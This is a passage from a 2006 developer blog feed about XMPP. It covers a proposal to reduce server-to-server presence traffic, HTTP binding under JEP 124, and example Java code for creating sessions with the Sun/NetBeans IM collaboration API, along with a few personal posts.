- which was a constraint in our scenario.<br> In case both are not the same (like in case there are privacy rules applied, etc) , you will end up creating two lists.<br> <br> For each of the stanza's dispatched to the list, serverB ends up creating these stanza's and processes them as though serverA directly sent it across.<br> <br> <presence from='userA00@domainA/resource' to='userB00@domainB'/><br> <presence from='userA00@domainA/resource' to='userB01@domainB'/><br> <presence from='userA00@domainA/resource' to='userB02@domainB'/><br> <presence from='userA00@domainA/resource' to='userB03@domainB'/><br> <presence from='userA00@domainA/resource' to='userB04@domainB'/><br> <presence from='userA00@domainA/resource' to='userB05@domainB'/><br> <presence from='userA00@domainA/resource' to='userB06@domainB'/><br> <presence from='userA00@domainA/resource' to='userB07@domainB'/><br> <presence from='userA00@domainA/resource' to='userB08@domainB'/><br> <presence from='userA00@domainA/resource' to='userB09@domainB'/><br> <br> Similarly for probe.<br> serverB now responds back to serverA for the probe requests as though it was individually sent by the server.<br> <br> Let us consider a subsequent presence push by which time serverB has already removed the list.<br> <br> serverA:><br> <iq from='domainA' to='named_list@domainB' type='set' id='someId4'><br> <presence xml:<br> <show>away</show><br> <status>be right back</status><br> </presence><br> </iq><br> <br> (Note again - no from or to !).<br> <br> server:B><br> <iq from='named_list@domainB' to='domainA' type='error' id='someId4' /><br> <br> serverA can not either fallback on current approach sending out the stanza individually to the reciepents (serverA always knows who the reciepents (participants in the list) are !).<br> or it can recreate the list as above and retry.<br> <br> <br> Hope this clarifies the proposal a bit more ....<br> <span style="font-style: italic;">Updates:<br> <ol start="1"> <li>The careful reader will notice that the way I am encapsulating a stanza to be sent to a list can result in a schema violation. To solve it ? Have a wrapper element 'x' in a custom namespace 'ns' - this element just gets discarded and is present to be conforment with the schema. The mashup above is illustrative, not normative or formal <img src="" class="smiley" alt=":-)" title=":-)" /></li> <li>I do mention it in this post, but let me put it explictly here - if the presence-out and presence-in lists are different (privacy policy , assymetrical rosters, etc) you just end up creating different lists : and if the overhead is deemed high, just dont create a list ! There is nothing forcing server to use this approach in all cases ! It should be noted though that, these are slightly towards the corner usecases ... so the benifit to the server hosting a large number of users using it in a 'normal' way will be high enough.</li> </ol> Minimising S2S traffic in XMPP mridul 2006-11-08T08:30:44+00:00 2006-11-09T19:02:07+00:00 Discusses a potential proposal we are considering to implement which will minimise the interserver traffic tremendously without compromising on security, responsibility and accountability. <span style="font-style: italic;">Please refer to <a href=''>next post</a> for more clarification and correction to this proposal</span><br><br> <a href="">XMPP</a> has federation built into the protocol - not an afterthought retrofitted in.<br> Even though it allows to build a mesh of trusted federated network, it does have issues of scale in terms of handling traffic.<br> Let us look at a typical issue and how we are thinking of solving it (since there is no standard way to 'fix' this right now) ...<br> Ofcourse, this would be an extension as of now and so would work only on/between Sun servers if/when we end up supporting it.<br> <h3>A simple problem statement</h3> <h4>The scenario :</h4> The scenario is slightly contrived <img src="" class="smiley" alt=":-)" title=":-)" /> But is intentionally so to illustrate the problem.<br> Consider the following 'configuration'.</b> <ul> <li>serverA and serverB serving domainA and domainB respectively.</li> <li>serverA has users userA00 to userA09 - similar user set userB\* for serverB : twenty users in all.</li> <li>Additionally, all users in serverA are subscribed to each other and to users in serverB - similarly for serverB users : that is, every user is subscribed to every other user.</li> </ul> Now consider this runtime situation : <ol start='1'> <li>Users userA08, userA09 (domainA on serverA) and users userB08, userB09 (domainB on serverB) are online - all others are offline.</li> <li>User userA00 connects.</li> </ol> Let us analyze the situation when userA00 <a href="">sends its available presence intially</a> to serverA (a single xml stanza). In the current situation, this result in the following traffic between the various entities. <h5>Local traffic</h5> <ul> <li>serverA sends the presence of userA00 to userA08 and userA09.</li> <li>serverA sends the presence of all local users (userA\* - userA00) to userA00 : 9 stanza's in all.</li> </ul> As you can see, it is as optimal as it can get .. only info to required subscribers is sent - and only info about subscribers who are available are sent. Now let us consider the traffic over the federated link (over S2S). <h5>S2S traffic</h5> <ul> <li>For each user hosted on serverB which is in userA00's roster, serverA sends the directed presence on behalf of userA00 over the s2s link to the 'barejid' of contact on serverB : that is userB00 to userB09.</li> <li>For each user hosted on serverB which is in userA00's roster, serverA sends a presence probe on behalf of userA00 over the s2s link to query for the presence : that is userB00 to userB09.</li> <li>serverB responds to the presence probe with status of the userB00 to userB09 - 10 stanza's in all.</li> <li>serverB sends the presence of userA00 to userB08 and userB09 (not really relevant to this discussion).</li> </ul> If you compare the traffic between serverA to serverB connection and that of userA to serverA, it is immediately evident that it is highly skewed - the traffic between both server is suboptimal as compared to the traffic within a single server.<br> You have 30 stanza's over S2S, while the same thing has only 10 for user case - that is 2 \* 'number of contacts' more !<br> <br> Now, to be fair, the reasons for this should be evident.<br> serverA cannot trust serverB to 'do the right thing' - it cannot trust that the user's roster in serverA is in sync in serverB's users roster, etc.<br> The issues are many and boils down essentially to, who is responsible and accountable to whom : so serverA cannot offload his responsibility to serverB - that is a given.<br> <br> How can we 'solve' this issue with these restriction ?<br> That is : <ol start='1'> <li>serverA is accountable for its users and should make best case effort to make sure that there are no presence leaks and only contacts who are subscribed to user's presence according to serverA's roster get the update</li> <li>Minimize traffic as much as possible</li> </ol> <h3>A potential solution ?</h3> What we are thinking of doing to solve this problem is the following :<br> Make following extensions to <a href="">Extended Stanza Addressing</a>, namely : <ul> <li>We will not be using the XEP for a mailing list type functionality - purely for creating adhoc routing lists.</li> <li>We will be extending it such that, we can create a list on a server and reference it with a 'name'.</li> <li>This named list could go out of scope at any time (depending on how long the server keeps it around)</li> <li>In this usecase, if list goes out of scope - serverA will recrete it.</li> </ul> So how does this help ?<br> Let us consider how we will use these extensions to solve our 'problems': <h5>How it will work now : S2S traffic</h5> <ul> <li>serverA will create a named list with owner set to userA00 on serverB with list of 'to' set to all subscribers of userA00 on serverB.</li> <li>named lists MUST contain only local users when created by a foreign entity (prevent abuse)</li> <li>serverA will send a single directed presence to this named list.</li> <li>serverA will send a single presence probe to this named list.</li> <li>For each user in this named list, serverB will handle the packet as if it was a) with 'from' set to the JID of the list owner, b) destined to the user in the list.</li> <li>serverB will respond back to serverA with 'to' set to that list owner.</li> </ul> In this case, we will have - 'list creation overhead' + 2 stanzas (presence and probe) + response for each jid in the list.<br> So we have the traffic coming down to optimal case + constant overhead !<br> Note : <ol start='1'> <li>The actual list name would be assigned by serverB - and would be totally random to prevent collusions : no meaning can be derived out of it.</li> <li>The list can 'expire' at any time - so if serverA sends to a list and finds that it does not exist (serverB returns error), it MUST recreate it and send the stanza again to this new list : serverB MUST include the original stanza to nonexistant list in the error response.</li> <li>Other than the creator of the list - serverA and host of the list serverB, no one else knows the list details : and there should be no way for any other entity to query for this information.</li> </ol> No progress for a loooong time mridul 2006-09-12T09:30:00+00:00 2006-09-12T16:34:14+00:00 Yep , been ages since I did anything at <a href="">xmpp-im-client</a> : and all blame to be laid on me.<br>One thing let to another and I was neck deep in fixing the <a href="">server</a> up quite a bit !<br>The next release when it does come out is going to be quite interesting <img src="" class="smiley" alt=":-)" title=":-)" /><br>Some very interesting usecases are going to be possible ... patience for a couple of months more !<br><br>So , I will need to tie up loose ends for a couple of more weeks : and then hopefully I will be able to get enough of my life back to actually start working on the project.<br> Closures in JDK7 ? mridul 2006-09-03T15:18:34+00:00 2006-09-03T22:18:34+00:00 A very clear and concise post by Neal Gafter on the use , differences and benifits of closures <a href="">here</a>.<br>When I read the initial proposal , it was slightly confusing.<br>I felt that the return syntax smelt like goto's , ability to access non-final local variables was worrisome , etc.<br>The ideas on the last two posts (<a href="">here </a>and <a href="">here</a>) are very instructive and clarify things quite a bit.<br>The synchronous usecase is something I have tried time and again to solve within my code - usually inefficiently with hacked up callbacks : closures would be a much more cleaner fix for this problem.<br><br> AJAX and HTTP - transport management : JEP 124 ? mridul 2006-08-27T22:57:06+00:00 2006-08-28T06:01:54+00:00 As more and more websites and applications start moving to using the AJAX paradigm , people are going to hit this problem of how to use HTTP as a transport 'reliably'.<br>What I mean is , HTTP is essentially similar to a one way datagram approach to communication.<br>You send request A , wait for response A - move on.<br>Since this need not be a direct connection from client to server (even if it was) , the request could fail to be delivered , response could be 'lost' , connection errors , etc could intervene.<br>If they are <a href="">idempotent</a> methods being made , then you can reissue them in case the request fails for whatever reason.<br>If not , things are slightly trickier - but there is some sort of support in most frameworks on how to handle this currently.<br>Add HTTP/1.1 persistent connections to this mix and things get really interesting - one socket fails : and a whole bunch of requests are lost.<br>Also, AJAX typically issues POST in most cases - a non-idempotent method.<br>Add to it the requirement to 'poll' the backend for data or updates and you have a interesting problem : you are trying to simulate a HTTP client into being something similar to a bidirectional stream : simulate is a key word here , mind you !<br><br>So you have requirements to 'manage HTTP as a transport' coming both at the client side and at the server side.<br>In the XMPP world , when support for HTTP was initially added the first approach was a <a href="">pure polling</a> solution.<br>As can be guessed , they later developed the HTTP Binding solution under <a href="">JEP 124</a>.<br><br>This is a very very interesting extension and I believe is the key to solving most of the problems above.<br>Though defined for XMPP , it is a solution to essentially act as a transport for any xml based protocol : only requirement, one or more "full xml stanza's" are exchanged - not partial xml data.<br>It solves the problems of retransmission , session management (no need for cookie's , url rewriting , etc) , support against replay attacks , etc.<br>Heck , we have XMPP - a purely xml based streaming protocol working on top of this successfully !<br><br>How does this help AJAX ?<br>All the browser based XMPP clients which support this JEP have some variants or other javascript library in place to actually do all this.<br>So , potentially you could have :<br><your application> --> <jep 124 client side js library> --- HTTP ---> <HTTP Bind gateway> <-- Custom protocol --> <Your server><br>With suitable modification (IF your app is not XMPP that is <img src="" class="smiley" alt=":-)" title=":-)" /> ... why not move to it? Read prev <a href="">post</a> on some advantages) , you can use the ideas from JEP 124 to solve a whole bunch of problems with using HTTP as a reliable transport.<br>Add to it the fact that you already have server side and client side opensource component's available to support this - and you have the perfect solution just waiting to be used.<br><br>Happy coding ! XMPP as an infrastructure mridul 2006-08-24T12:40:00+00:00 2006-08-24T21:28:51+00:00 In this post , I briefly try to push how XMPP can be used as a infrastructure - and not just as 'yet another chat protocol'.<br>It is not as descriptive or authoritative as I would like it to be ... but here goes nothing.<br><br>The abstract from <a href="">RFC 3920</a> says : <br>"<span style="font-style: italic;".</span>"<br><br>For the purpose of this discussion , let us take a small subset of what XMPP provides which allows us this :<br><ol><li>As specified in section 4 of <a href="">3920</a> , an xml stream between two entities which allows for exchange of structured xml stanza's at realtime.</li><li>A binding to tcp and defines how to <a href="">secure</a> and <a href="">authenticate</a> the stream.</li><li>Defines the top level stanzas allowed in this xml stream. These model request-response , broadcast and one way meps.</li><li>Server federation , routing rules , multiple resources per node built into the protocol.</li></ol>Let us consider the implications of these.<br>We have an authenticated and secure stream between two entities - so this asserts the client identity.<br>This explictly identifies an entity within , not only its server - but if federated , across the XMPP universe of federated servers ! This guarantees that any stanza orginating anywhere in this grand federation of XMPP servers will be unambigously routed to this specific client endpoint<br>Defines an xml stream ... most data transfer protocols have already moved , or are moving towards standardizing on usage of xml : so XMPP provides a native transport mechanism for these.<br>The MEP's supported allows us both synchronous communication and asynchronous notification - in either direction: hence both push and pull models are natively supported.<br>The protocol itself allows for presence notifications through a publish subscribe model.<br><br>Now , the XMPP community has come up with a variety of protocol extensions which have been standardized as <a href="">JEP's</a>.<br>A few notable ones which are relevent for this discussion are :<br><ul><li>A flexible <a href="">discovery</a> mechanism : allowing various clients/servers to interoperate. It helps either side to discover the supported subset and allows protocol extension without breaking compatibility.</li><li><a href="">Multi User Chat</a> - though it defines how to set up a 'chat room' : it can be used or modeled to multicast message's to a subset of interested entities.<br></li><li>A powerful <a href="">publish subscribe</a> extension for XMPP.</li><li><a href="">Advanced message processing</a> allows specifying additional delivery semantics for messages.</li><li><a href="">HTTP Binding</a> - allowing XMPP to be bound to HTTP. (More on this later)<span style="text-decoration: underline;"></span></li></ul>All this taken together allows for providing solutions for some challenging problems.<br>We could use xmpp as a middleware for realtime communication and use it for both synchronous and asynchronous notifications. Some examples :<br><ol><li>Pushing information to interested entities - like stock quotes to customers or brokers , etc.</li><li>A whole bunch of publish subscribe usecases can be solved.</li><li>Multicast stanza's as messages to interested entities.<br></li><li>Allows us to write presence aware applications - the entity in question need not really be another 'person' ! Also , use of <a href="">CAPS</a> and <a href="">PeP</a> will definitely make this world of applications much more interesting !<br></li></ol>Now , add <a href="">JEP 124</a> (httpbind) into this picture and things become really interesting.<br>Httpbind essentially can be considered as way to tunnel a xml stream based protocol on top of http : no , not the old CONNECT hack that most implementations use , nor a dumb frequest poll mechanism.<br>As an analogy , you can consider it to be similar to how you would simulate a persistent stream on top of UDP - only it is HTTP here instead of UDP.<br>The extension takes care of retransmissions , packet loss , request/response id , etc and makes allowances for HTTP characteristics .<br><br>Hence , all the power of XMPP is now available over HTTP.<br>So be it a rich client application or a rich internet application - both can talk XMPP and harness its power !<br>And with it , allows all usecases of using XMPP as a realtime messaging middleware available to all developers/users on most platforms - be it a RIA or a thick client.<br><br>XMPP - coming to a browser near you <img src="" class="smiley" alt=":-)" title=":-)" /><br> "Sun recoups server market share" mridul 2006-08-23T07:30:00+00:00 2006-08-23T14:33:22+00:00 <a href="">Here</a> is a report from CNET News talking about Sun regaining market share - and more importantly , gaining revenue while all other major vendors lost !<br> XMPP Interop event mridul 2006-07-27T00:10:08+00:00 2006-07-27T07:10:08+00:00 Just got back yesterday from Portland after the <a href="">XMPP interop event</a> ... it was a really cool event.<br>We had 6 completely different servers interoperating without too much of a problem - including when some funky multi-byte testcases were tried in S2S which <a href="">stpeter</a> dreamed up <img src="" class="smiley" alt=":-)" title=":-)" /> There were some hiccups when TLS was enabled with SASL External / dialback ... but nothing too serious which could not be fixed.<br>The achievments of the event are pretty incredible - there is no other protocol on instant messaging which can possibly boast of achieving something like this - most dont even have an implementation of size more than 1 !<br><br>While the testing was going on , in parallel we had some very productive discussions , including to clarify on aspects of the <a href="">RFC's</a> and <a href="">JEP's</a> : what was debated upon would get translated into changes or discussions at <a href="">standards-jig</a> pretty soon !<br>Portland looked "pretty" - from what little I saw , and the event venue itself allowed for a real nice view of the downtown.<br>I could not attend OSCON unfortunately ...<br> Explaining the auth code ... mridul 2006-06-23T10:21:30+00:00 2006-06-25T18:10:26+00:00 Now to explain what is checked in ... the main purpose of the whole project <img src="" class="smiley" alt=":-)" title=":-)" /><br><br>Essentially a simple framework for authentication has been checked in. Let us take a look at the Classes involved.<br>There is a AuthenticationManager in net.java.dev.xmpp.client.core , which handles the actual session creation and management.<br><br>In the collab api , you create a collab session using a CollaborationSessionFactory - which delegates the actual session creation to an instance of CollaborationSessionProvider.<br>The default CollaborationSessionProvider is org.netbeans.lib.collab.xmpp.XMPPSessionProvider - this allows us to create a direct socket based session to a XMPP server.<br>Other CollaborationSessionProvider that can be used are :<br><ol><li>org.netbeans.lib.collab.xmpp.XMPPSecureSessionProvider - This provider allows you to use legacy SSL to the server. This is a deprecated jabber protocol where the server always listens on SSL mode : like what you have in http/https case.</li><li>org.netbeans.lib.collab.xmpp.XMPPComponentSessionProvider - This allows you to create a 'trusted' component session : please refer to <a href="">JEP 0114</a> for technical info.</li><li>org.netbeans.lib.collab.xmpp.ProxySessionProvider - This provider allows you to create a XMPP session tunneling through HTTPS or SOCKS proxy. The actual proxy to talk to is picked up from the service URL.</li><li>org.netbeans.lib.collab.xmpp.XMPPSecureComponentSessionProvider - allows creation of component session when server is in legacy SSL mode.</li><li>org.netbeans.lib.collab.xmpp.httpbind.HTTPBindSessionProvider - allows creation of a HTTP based XMPP session as per <a href="">JEP 0124</a>. The connection related info is picked up from the service URL.<br></li></ol><br>To use a non-default provider , you will just need to specify the classname as the parameter to CollaborationSessionFactory constructor (in our case , constructor of AuthenticationManager) ! Rest of the details are taken care of by the collab api - and it exposes a uniform behaviour irrespective of the underlying transport : even when the underlying transport is not a dedicated socket stream like in httpbind case !<br>Ok , almost ... there are a couple of little details a user still has to take care of .... let us finish those of too.<br><br>If in the process of session establishment , an untrusted certificate is provided as part of TLS , the decision whether to accept the certificate or not depends on what the provided CollaborationSessionListener says.<br>That is , if the listener is an instance of org.netbeans.lib.collab.SecureSessionListener , then the corresponding "onX509Certificate" method is invoked ... else the certificate is treated as untrusted and session terminated.<br><br>If the service URL points to the form "host:port" , the collab api uses that directly as the destination XMPP server/port.<br>In case it is of the form "domain" , it tries two things one after the other.<br><ol><li>It tries to do a dns query for the specified "domain" to try to find out if there is a xmpp service registered for it. If yes , it uses that as the destination server. This way , the actual xmpp server hosting a domain could be decoupled from the domain itself. Refer <a href="">here</a> for more details.</li><li>If (1) is not the case , the api treats "domain" as XMPP host with default port of "5222".</li></ol>Well , not always - service URL is overloaded to mean something specific in case of two providers ... as explained below.<br><br>ProxySessionProvider and HTTPBindSessionProvider use the service URL as a way to obtain required parameters.<br>In all the other providers , the service URL is just the destination "host : port" (or domain in case you want to do a dynamic lookup of the XMPP host servicing that domain).<br>In these two providers , the semantics are different , let us see how :<br><br><ul><li>ProxySessionProvider</li></ul>As of now , the service URL is expected to be in the form :<br><protocol>://<proxy host>:<proxy port>?(name=value)(&name=value)\*<br><br>The protocol can be one of "socks" or "http"/"https" : socks will tunnel through a socks proxy , while http or https will tunnel using http CONNECT.<br>The query names currently handled are :<br><ol><li>"keepalive" : After authentication succeeds , the client will send whitespace pings to the server after each keepalive interval : this is so that intermediate proxies do not terminate the connection assuming it is inactive.</li><li>"authname" , "password" : The authentication credentials to talk to the proxy.</li><li>"service" : The 'actual service url' !</li><li>"usessl" : Whether to use legacy SSL to talk to the XMPP server after tunneling through the proxy.</li></ol>So an example service URL would be of the form :<br><br><br><br><ul><li>HTTPBindSessionProvider</li></ul>The service URL in the case of this provider is the actual URL used to get in touch with the httpbind gateway ... except for the fact that the query parameters are removed.<br>The actual query parameters are defined in org.netbeans.lib.collab.xmpp.httpbind.HTTPBindConstants ... and allows for a wide range of customisations. The only mandatory query parameter is the "to" parameter. <br>This specifies the domain the user wants to log into : and should be serviced by the specified httpbind connection manager.<br><br>Another important point related to httpbind is related to proxy support.<br>The default two ConnectionProvider's for httpbind <span style="font-weight: bold;">do not</span> support proxies directly.<br><span style="font-weight: bold;">But</span> , they use URLConnection to get to the httpbind gateway , so you can specify the appropriate proxy using the corresponding java properties and expect them to be used.<br>The main reason why they do not support it is 'cos the 1.4 java.net.\* code does not provide a way to explictly specify a proxy... as and when the api moves completely to 1.5 , this implementation will get revised.<br>Ofcourse , you can always write and provide a custom ConnectionProvider in the service url which picks up the proxies and uses it !<br>Please note that "proxytype" and "proxyhostport" is <span style="font-weight: bold;">expected</span> to be provided even if you explictly set the java proxy vairables ... this is so that is the collab api's move to 1.5 and start using the java.net.Proxy class , the client code should not need to be modified.<br><br>So a sample HTTPBindSessionProvider service URL would be :<br><br><br>Other than specific customisation's , there is nothing much else that needs to be taken care of !<br><br><br>[Technorati Tag: <a href="">XMPP</a>]<br>[Technorati Tag: <a href="">Sun IM api</a>]<br>[Technorati Tag: <a href="">xmpp-im-client</a>]<br> Checkins finally ! mridul 2006-06-21T16:43:43+00:00 2006-06-25T18:10:46+00:00 First off , I took much more time than I anticipated before I could finally make some checkin's to <a href="">xmpp-im-client</a>.<br>Without giving excuses , I will just mention work as the reason <img src="" class="smiley" alt=":-)" title=":-)" /><br><br>Ok , now that we have cleared that , what has been checked in ?<br><ol><li>Very basic skeleton of the project - how it would be structured , how it will use external api , etc.</li><li>The first few pieces of code ! (More on this below).</li></ol><br>The basic skeleton of the package structure , build structure , etc has been checked in - if you are part of the project (if you are not , what are you waiting for !) , feel free to comment about it in case you have any reservations or suggestions.<br><br>A few classes have been checked in :<br><ol><li>A session manager which takes care of creating session's and handles reconnections as needed. This is envisioned to be common across UI modules.</li><li>A basic simple CLI based UI has been checked in - as of now , it does nothing other than create a XMPP session using the collab api (using the wrapper described in prev bullet).</li></ol><br>So session creation is done .... almost.<br>What else can be done ?<br><ol><li>Change the sessionprovider passed to AuthenticationManager to try out different providers : legacy ssl , httpbind , proxy support , etc !</li><li>If required , implement org.netbeans.lib.collab.AuthenticationListener also in CliSessionListener - this will allow you to select and control SASL based authentication.</li><li>For more advanced SASL support - like custom client SASL modules , along with (2) above use <AuthenticationManager>.getFactory().getCollaborationSessionProvider().registerProvider( <SASLClientProviderFactory> ) !<br></li></ol><br>Though the code checked in looks deceptively simple , it handles almost everything required for session creation - including reconnection when connection gets dropped.<br>The next functionality that we target will be just reusimg the CollaborationSession that we created using the above to build on to add more complex functionality !<br><br>Check out the <a href="">discussion forum</a> where I have added some blurb on how to test this.<br><br>So here to happy IM'ing !!<br><br><br><br>[Technorati Tag: <a href="">XMPP</a>]<br>[Technorati Tag: <a href="">Sun IM api</a>]<br>[Technorati Tag: <a href="">xmpp-im-client</a>] Discussions at xmpp-im-client mridul 2006-05-17T14:00:00+00:00 2006-06-25T18:11:10+00:00 Initial idea was that I will just forge ahead with design/coding and add stuff/refactor things as they develop.<br>When I saw that a small number of other developers have joined in the <a href="">effort</a> , decided to slow things a bit and atleast discuss the design before going ahead. The smattering of snippets on my workspace will remain there until we come up with some basic agreement.<br>This is the right time to join in case you want to influence the project from the start !<br>The unexpected delays have been , as I explained before , due to some deadlines at work - which have been cleared : full speed ahead !<br><br>I have also created a new Category "XMPP_IM_Client" in my blog under which I will post discussions and posts on this topic.<br><br><br>[Technorati Tag: <a href="">XMPP</a>]<br>[Technorati Tag: <a href="">Sun IM api</a>]<br>[Technorati Tag: <a href="">xmpp-im-client</a>] No updates mridul 2006-05-09T17:21:06+00:00 2006-05-10T00:21:06+00:00 Unfortunately , caught up with beta build for JES5 ... so that means not much time to blog and even less to work on <a href="">xmpp-im-client</a> <img src="" class="smiley" alt=":-(" title=":-(" /><br>I checked in a barebones structure there - no code , just a build file which pulls the required dependency.<br><br>Will get to posting some actual code this weekend ... so will keep all posted !<br>In the meantime , feel free to join the project like others have done already <img src="" class="smiley" alt=":-)" title=":-)" /><br> Matisse for eclipse mridul 2006-05-01T13:01:39+00:00 2006-05-01T20:01:39+00:00 Have you seen <a href="">Matisse</a> ? Most probably you have ! It is an award winning GUI builder which comes with <a href="">netbeans</a>.<br>It is one kickass GUI builder ... and even a person like me can create a UI using it <img src="" class="smiley" alt=":-)" title=":-)" /><br><br>Now , eclipse folks have long since been clamouring for an equivalent ... and looks like they are finally getting their wish !<br><a href="">Matisse4MyEclipse</a> is out ... hope it is as good as the netbeans version.<br><br> xmpp-im-client mridul 2006-04-27T11:38:18+00:00 2006-06-25T18:11:32+00:00 As previously promised , I plan to start off writing a client.<br>The focus will be more on exposing the api exposed and (very) less of the UI.<br>So , either this code can be used directly to write a more fancy UI layer on top , or it can be used as a tutorial on how to understand and use the api.<br>Primary focus will be on the latter : hence code will be as clean and readable as possible with copious meaningful comments <img src="" class="smiley" alt=":-)" title=":-)" /> (Normally , both of these would be false for my code <img src="" class="smiley" alt=":-P" title=":-P" /> )<br>Where is the code going to be ? It will be <a href="">here</a> at <a href="">dev.java.net</a> - feel free to join the project !<br>I have just got the project approved and am a bit busy right now ... so the project is empty as of now - but expect action pretty soon !<br>The rate of progress would typically be not very fast and this blog will be in sync with it : as a new feature gets implemented , the related code and api would be discussed here.<br><br>Next entry : what are the dependencies of the api , how and where do we get them from , how to get and setup the api.<br><br><br>[Technorati Tag: <a href="">XMPP</a>]<br>[Technorati Tag: <a href="">Sun IM api</a>]<br>[Technorati Tag: <a href="">xmpp-im-client</a>] Writing an IM client mridul 2006-04-21T02:54:45+00:00 2006-04-21T09:54:45+00:00 I was thinking up how to illustrate the various aspects of the IM api ... and rather than write up posts about each facet with info about them , my 'current' idea is this :<br> We will author a client - you and me together.<br> It wont be a fancy swing client : I am horrible at UI anyway <img src="" class="smiley" alt=":-)" title=":-)" /><br> Instead of just writing dry posts with some code snippet , what I will do is actually build a new text based client from scratch using the IM api.<br> We will incrementally add functionality to it ... showcasing each aspect of it as we proceed.<br> It will not be exhaustive , obviously ... and you will be able to write far more fancier and powerful clients than what I will end up authoring here.<br> But the basic idea of how to use the IM api should be evident.<br> <br> As I illustrated in the previous post , the client as such is going to be agnostic to the underlying communication mechanism ... so you can easily switch to using different session provider to use httpbind , tunnel through socks/https proxy , use legacy SSL mode , etc : just a couple of line changes.<br> The rest of the client would remain the same.<br> <br> Most probably , I will create a new project in dev.java.net with view-all permission.<br> So let the series begin from next post !<br> Counterstrike Source mridul 2006-04-20T03:10:00+00:00 2006-04-20T10:18:43+00:00 When I had bought <a href="">Halflife 2</a> about year or so back , the bundle had come along with <a href="">Counterstrike Source</a>.<br> Initial pains with the <a href="">steam platform</a> which <a href="">Valve</a> uses almost made me uninstall the whole thing ... 5 cd's for insallation and then another 5 hours to update (/decrypt/whatever they call it) ?!<br> Thankfully , I stuck with it and continued on with HL2.<br> Never got around to completing HL2 ... the stress on puzzle solving was irritatingly high and pretty soon I got bored and turned my attention to Counterstrike.<br> I have never looked back since - though the bots typically suck , the online gameplay is pretty awesome !<br> <br> Considering my connection speeds at home , I am really impressed at the low latency and the gameplay expierence. You do get to meet lot of 'interesting characters' online - including damn good players , people who are pretty passionate about the game and the normal bunch of cheating losers , so-so players like me , and n00bs <img src="" class="smiley" alt=":-P" title=":-P" /> ... it is nice fun all in all !<br> So now , when I am not doing anything interesting , I am on CSS <img src="" class="smiley" alt=":-)" title=":-)" /><br> A simple client mridul 2006-04-17T10:00:00+00:00 2006-04-17T18:07:29+00:00 Let us consider a simple client which will use IM api and talk XMPP directly to the server.<br> The only modification to this client to use HTTP would be in the session creation phase , so I will restrict the client to that part of the code.<br> If you want to take a look at a more 'full fledged' client , take a look at <a href="">org.netbeans.lib.collab.tools.Shell</a>.<br> <br> <div style="margin-left: 40px;">CollaborationSessionFactory _factory = new CollaborationSessionFactory();<br> </div> <div style="margin-left: 40px;">CollaborationSession _session = _factory.getSession(server , user, password, new CustomCollaborationSessionListener());<br> </div> <br> The behavior of this code is as follows :<br> <ul><li>Lookup the system property "org.netbeans.lib.collab.CollaborationSessionFactory" if specified , use that as the session provider factory , else.</li><li>Fallback onto the default CollaborationSessionFactory delegates to a direct socket based XMPP stream : org.netbeans.lib.collab.xmpp.XMPPSessionProvider.</li></ul> The parameters are :<br> <ol><li>Server url - this is an overloaded parameter. For a direct stream based XMPP connection , this will be of the form "host:port". For our HTTP case , it is slightly different - and I will detail it below.</li><li>The user and password specified are used to authenticate the user. In a later post , I will write about how to use SASL.</li><li>The CollaborationSessionListener specified is the default listener to dispatch events to. More interesting things can be done with subinterfaces of CollaborationSessionListener - more on that too later <img src="" class="smiley" alt=":-)" title=":-)" /><br> </li></ol> <br> For a direct xmpp case , the above will look like this :<br> <br> <div style="margin-left: 40px;">CollaborationSessionFactory _factory = new CollaborationSessionFactory();<br> </div> <div style="margin-left: 40px;">CollaborationSession _session = _factory.getSession("share.java.net:5222", "dummyuser", "dummypassword", new CustomCollaborationSessionListener());<br> </div> A bare bone CustomCollaborationSessionListener will just implement the "public void onError(CollaborationException e);" without taking any action about them.<br> <div style="margin-left: 40px;">public class CustomCollaborationSessionListener implements CollaborationSessionListener {<br> <div style="margin-left: 40px;">public void onError(CollaborationException e) { System.err.println("Collaboration exception : " + e); }<br> </div> }<br> </div> <br> Thats it , your basic code will work now (the server specified above is the netbeans collab server - create a valid userid and give the code above a whirl !).<br> <br> How to make this HTTP enabled ?<br> Just two changes :<br> <ul><li>Specify the HTTP session provider class explicitly using :</li></ul> <ol><li>CollaborationSessionFactory _factory = new CollaborationSessionFactory("com.sun.im.service.xmpp.httpbind.HTTPBindSessionProvider");</li><li>Or , set the env variable "org.netbeans.lib.collab.CollaborationSessionFactory" to "com.sun.im.service.xmpp.httpbind.HTTPBindSessionProvider" before creating the session factory.<br></li></ol> <ul><li>Change the server to point to a httpbind connection manager which is JEP124 compliant. Additional parameters can be specified to this url as query params : refer to <a href="">HTTPBindConstants</a> for list of actual parameters.<br> </li></ul> <div style="margin-left: 40px;"> </div> So , a JEP124 version of the initial code would be :<br> <br> <div style="margin-left: 40px;">CollaborationSessionFactory _factory = new CollaborationSessionFactory("com.sun.im.service.xmpp.httpbind.HTTPBindSessionProvider");<br> </div> <div style="margin-left: 40px;">CollaborationSession _session = _factory.getSession("", "dummyuser", "dummypassword", new CustomCollaborationSessionListener());<br> </div> <br> It is mandatory to specify the domain you want to talk to using the 'to' parameter. I am using two other parameters just to illustrate how you would go about customising more.<br> The rest of the code which manipulates and uses the returned _session is the same irrespective of whether it is direct XMPP or through HTTP.<br> <br> Some caveats about the HTTP provider in collab codebase from the top of my head (ignore these if required) :<br> <ol><li>It does not support proxies directly , but just relies on URLConnection. So to use proxies , the user will need to explicitly set the "http.proxyHost" and "http.proxyPort" system properties. (\*More on this below.)<br> </li><li>It does not honor the timeout's set as part of the initial handshake. (\*\* More below).<br> </li></ol> <br> \* This limitation exists since the im module is also used from java 1.4 VM's. The ability to specify a per connection proxy was introduced only in java 1.5 ... <br> How to fix this ? <br> It is very easy for a developer to write a custom impl of <a href="">ConnectionProvider</a> to pick up the "proxytype" and "proxyhostport" param from the service url and use it to connect to the httpbind gateway (If you want to go with default impl itself , just extend it and override the openConnection(URL) method).<br> <br> \*\* As part of the initial handshake with the gateway, the client and ht<font size="3">tpbind </font>gateway arrive at timeout's for the request.<br> These are not honored at the client side 'cos of the same limitation above. Custom implementation can override and use the setReadTimeout() and setConnectionTimeout() methods are appropriate.<br> <br> <br> If there is a need , I could always write a simple implementation of ConnectionProvider for java 1.5 which gets over the above limitations.<br> What to expect next ?<br> What about how to use the basic client and start using TLS and SASL ?!<br> Yep , that should be fun - so watch out for next update soon !<br> <br> JEP 124 - enabling XMPP through HTTP mridul 2006-04-12T01:40:00+00:00 2006-06-25T18:11:49+00:00 In the recent IFR release of <a href="">Sun Java System Instant Messaging</a> , we shipped our first implementation of <a href="">JEP 124</a> compliant client and gateway.<br> <br> What does this provide ?<br> <ul> <li>Access to the Sun's XMPP server through HTTP.</li> <li>The IM client that we bundle with the product can now 